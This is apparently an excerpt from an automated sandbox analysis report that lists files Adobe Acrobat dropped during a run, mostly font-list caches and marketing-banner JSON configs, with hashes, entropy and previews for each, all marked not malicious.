SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.3632

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.356220433660667
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJM3g98kUwPeUkwRe9:YvXKXlFhT5LjIP9sGMbLUkee9
MD5:	BB1F8AE770373DC9635174C4C30EC75C
SHA1:	81EE69DD55B8C1ED7168BB216783C714ACDD8918
SHA-256:	18ABC657ADEDA0BA9514275622B1325B49FAEDD61A534AC04CDED90264298B0E
SHA-512:	E8CA7A5F56249F12AD9252622443C103B58422F08575A7A92F46B2CD7F87D51EA882D39EEA8B2A44F0C67827F26C2395A27ED0C5365CC270AFBAFCBDEC628DC7
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3106044365797445
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfBoTfXpnrPeUkwRe9:YvXKXlFhT5LjIP9sGWTfXcUkee9
MD5:	63FB47009B57EEFD210C783AB94C20F0
SHA1:	CD50BA62C1C5BFFECDA11F4382653BE911E65492
SHA-256:	CB25F2855D26D25B62A6DF1BB79F12BFBA1B49A27363246C1D36A65427B994EA
SHA-512:	91F9D315BA5E7DBCE1D0DB76943AF2BC0A6BA919458338350A4EA7871995B32F9308F59AFCB0B5B7F032FFA5069C79D37826EC889442A094929A1767BA6C994B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.289003755448175
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfBD2G6UpnrPeUkwRe9:YvXKXlFhT5LjIP9sGR22cUkee9
MD5:	062052DA092F16DB5D6190AE82537D6C
SHA1:	9ECEC33C464B93CA2BCA5288C26C09A67A14730B
SHA-256:	CB083BB5F9C9DFB834B700E8FE1981776D62F5B454F3552C37C3EFDDD70D7658
SHA-512:	82D032C87101FF21B56DC0370EE0EEE45E227411BBDD9D1EB6117393B3486833DDECCBB2D517A4423BC33B0DE154C3AD9ADD90F06D529D9E6C934409DF036905
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.336971836301636
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfPmwrPeUkwRe9:YvXKXlFhT5LjIP9sGH56Ukee9
MD5:	453A9371DF730683B19530C4375E54F7
SHA1:	3401C91D6FCB3D98755378B4F8ACB76B01ED16DD
SHA-256:	2FE694763FA873B1F530A12CEA329F03CA19979495C7752C228D1DA727FAF0FF
SHA-512:	3DC261FA8CCE7D6E5A1AF0D3579A5366D37979B0CE33A003E0D308FD85FBC375C83A55A350D197FDDD33747E52BE515DE23071BB395183C175F998219C7E25C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.696208366643061
Encrypted:	false
SSDEEP:	24:Yv6XLhT5XI/pLgE9cQx8LennAvzBvkn0RCmK8czOCCSh:YvybXKhgy6SAFv5Ah8cv/h
MD5:	C1922E2DF949A1DAF86A5CD22DC975C2
SHA1:	2D59E1C268D3292B95193B8F9274B8FEE276F830
SHA-256:	5ABFF7870FBB9A52521042E11ABBE4E5E2BFDE2FD27FC27D2AC1AD3B8965D8AC
SHA-512:	BCB280C8CBB12084589F61F0667897263AC89C5F836991D406D5C31A85AFA861D4313456D306337E958FD0667834C3FFBAB38EA4592494C60C26448281DC360F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311191678430006
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJf8dPeUkwRe9:YvXKXlFhT5LjIP9sGU8Ukee9
MD5:	F39D39111002B136C80ADD88E6845366
SHA1:	92CE3B86BCC9B5D4C1DC158047E8A8B85933EC58
SHA-256:	499F7CD6692CD324068CDCE0EE1E51E80244D783716A17F56B3FBFED0D9B1639
SHA-512:	948A8203772D4A9D0A3451BDEDA915A8D1C8E4C3CEF37813D2D0ABC8B23D0E8100C7BD9C4E7AF5F916DDE9B258F9B1C01BE8C04FB342BB589163D97EAF32B9F3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.303506144782277
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfQ1rPeUkwRe9:YvXKXlFhT5LjIP9sGY16Ukee9
MD5:	9C74F1558890617DBDE3180AEB20A867
SHA1:	D7C64429D32E272046499C5F82C18406033945E6
SHA-256:	CBFC464C0237BD595F2C3814527997F861A6430B315B7EF832713F08F8F2EB82
SHA-512:	42CDA6867DD1E5D75A047BD792DCE848C51462BB331B336F736A0FC233FC70928AF1643C7424F48CBB73E9CBDDD396DCFA4C5871F4BF7DA27300F9CC828573E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319929252476761
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfFldPeUkwRe9:YvXKXlFhT5LjIP9sGz8Ukee9
MD5:	6689E934624D79E936C1B7F0DB37A085
SHA1:	B842C9C591D0522BEC5EA390164FD3D2D40CAD09
SHA-256:	E7FE6056F9CA12E69E988D0AB1A01B243AE8F1944461710EA282807452B7962C
SHA-512:	0EB25E71470401E82859DD8BC48E5503483370251A48DBE01E8F6A5185644D34214CD54D4ABA09E618478DA1BF9D3B8EBC37762C2B3C681D8F8C10316910C2F1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.336928102047284
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfzdPeUkwRe9:YvXKXlFhT5LjIP9sGb8Ukee9
MD5:	069E52E13DAE7BBDA79D3462B7F3C2A1
SHA1:	093D9F638414A8474A0AB5BDA0B6202CAB90E36B
SHA-256:	B1F4D305BEB0FF860BE616AE4534299019037F26D68D1929F1344A2F7F46C3E9
SHA-512:	D7B21C4F39D8330404DEA05192DA2027E2FB188326CB98F4CD782867650F7D8B4706876D5F1CA59C3171785ACC439C72F896AD9138F3CDAD48482043347DEAF4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318213982853958
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfYdPeUkwRe9:YvXKXlFhT5LjIP9sGg8Ukee9
MD5:	FEF3E6D4AA8C2BC7A88EB6986FB81318
SHA1:	21D1EE6BE76B4748E50C63FF0195D5195C1D6F56
SHA-256:	2E075D6104373BC1DF51D223DC29416A66A623E15950629248838E8E3EEDC6CC
SHA-512:	1E9ED8CC461F51B14BB4A632F22615FAF8A1237613A3AFCB8C56F4A6A0557EBBB9B1BC5A8C71A0158CA9EEDF3B56A65B888672CA66EAD6954F357F91CFD8EB1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.304267322856009
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJf+dPeUkwRe9:YvXKXlFhT5LjIP9sG28Ukee9
MD5:	D36A812409857B7C3001210F307629AB
SHA1:	D21C5CE1C56D3ADABA4F07EE1625C9E3EC6D7CCC
SHA-256:	3028EE12FB73A68ECA0FC4CA662E4409EDADD0D75D6999037822F576B4F3431F
SHA-512:	81E82D12999335613AB8E0B91BD03109B12318309A92DA995CF1D513C980EB468AFBFF927C0DD5E3E5216CBD2BF9C427B5BABDC83EE86DE08A0C80A7484A1954
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.30163589851508
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfbPtdPeUkwRe9:YvXKXlFhT5LjIP9sGDV8Ukee9
MD5:	E72AC5F2846AE0B2A6196D8A6AEF93C1
SHA1:	3BF8249280FEEDFE1828BC1BE4091E28136E4E03
SHA-256:	1DE9FAF2B4B1683B89A90A6AA48A05E35FB564A812240FBBFACFF06953593BA1
SHA-512:	41404A4E62AC8B2A84B5C831CC545B9248835EEDCABE761763C4D4A93F23CB8BCE7AD26A8A8E9D6A6FCA4C6310D4B444289942E9BDCE2ED4C9D9D48FFE7B4183
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.294258180950532
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJf21rPeUkwRe9:YvXKXlFhT5LjIP9sG+16Ukee9
MD5:	C45FE7A70191B0D04C3B149AC5DB6866
SHA1:	8945130BDD966C12630377B724F3B9619B513E71
SHA-256:	C5EAA012CF2EED5628616D0F3210DFA647AE115E1560461DB40C270C1C2967F1
SHA-512:	C4E763199D4B085A2EDFF9089AFBA2A77878D7DE39F7EED868E80DE87320BBA7A0B8FD9B0F59479EAFB5D6BFD0FFA041D6F024931E1516EBBC8E2D9F0AAA1963
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.671524063326999
Encrypted:	false
SSDEEP:	24:Yv6XLhT5XInamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSh:YvybXYBgkDMUJUAh8cvMh
MD5:	1FC3043FB73282EB9871B13D1DE3AB12
SHA1:	62151DC29BBD9FB3C18A03C859CF9C7C9BE396F0
SHA-256:	3D848E8B69D36D5386454701159F24B25A237AE608E1D09F9CDDD1422947F7FC
SHA-512:	021E244A074DE13C81764A0694729B084AC66D729E959CBD8460174ABD4A09B5A19B2EF901385B840BCB8BA06183004AFEF0D9D4431C31E80A7C293D57BF65C4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2681667668896965
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJfshHHrPeUkwRe9:YvXKXlFhT5LjIP9sGUUUkee9
MD5:	81D4F677E3E81244070C644B049A5467
SHA1:	F82C66B7F7ADF7B1E79F7773F3D5B2CCCB72C108
SHA-256:	6B4D37530117A979DC75137CEC433BB120310838689DC3A93EA17191FF201B0B
SHA-512:	855443D2D5A1DED941AC20B79E1A077412017F2212FCFC9C981F2CC51B06A3ED43E6B7EC24A3E7888DDA09ECBC9D256571BF5CDBE26AC470BFC033E12931996B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2727026139367315
Encrypted:	false
SSDEEP:	6:YEQXJ2HXsRYDM6J4mSg1c2LjcWkHvR0YxDoAvJTqgFCrPeUkwRe9:YvXKXlFhT5LjIP9sGTq16Ukee9
MD5:	16C8E2683C9EDCF50DC5DEBF17F61253
SHA1:	C3C26FCB44B78E9B31B7B39A48840CF54F96D940
SHA-256:	868F2C2989CB404B9CECB24DD1EE3804CC9E9CE5F56526009815BA8611A9DC96
SHA-512:	AAC46B28656EA0229F714BB2D4FE8A44336A97C5EDC853543F4E04A7F403B188C857F3B3C5EFF2BA9D4CD30142138E816C5EFA99740DF841D418F8888FB8FAB5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"132f4785-4ab2-46f3-a74a-8428d43762cb","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736743157066,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.12673852945395
Encrypted:	false
SSDEEP:	24:Y8311anMO3CayWXmvvg3Wzpux0MzkCP4TmZTrNmIaHj31j0S4H/1dTM/a2yx2LS5:YMmz3wvE/kUYX35UTrmuFAMGgeE95
MD5:	9F9DD23A07A690FD1A63DA20DD320B66
SHA1:	88E10CA9D06201F6B5FECB6D770B738B6F94BC49
SHA-256:	7E06C733AA162A48C976A1EED2DB1B73B5F11CEDFC45F2020FC1F7A7F2CC0106
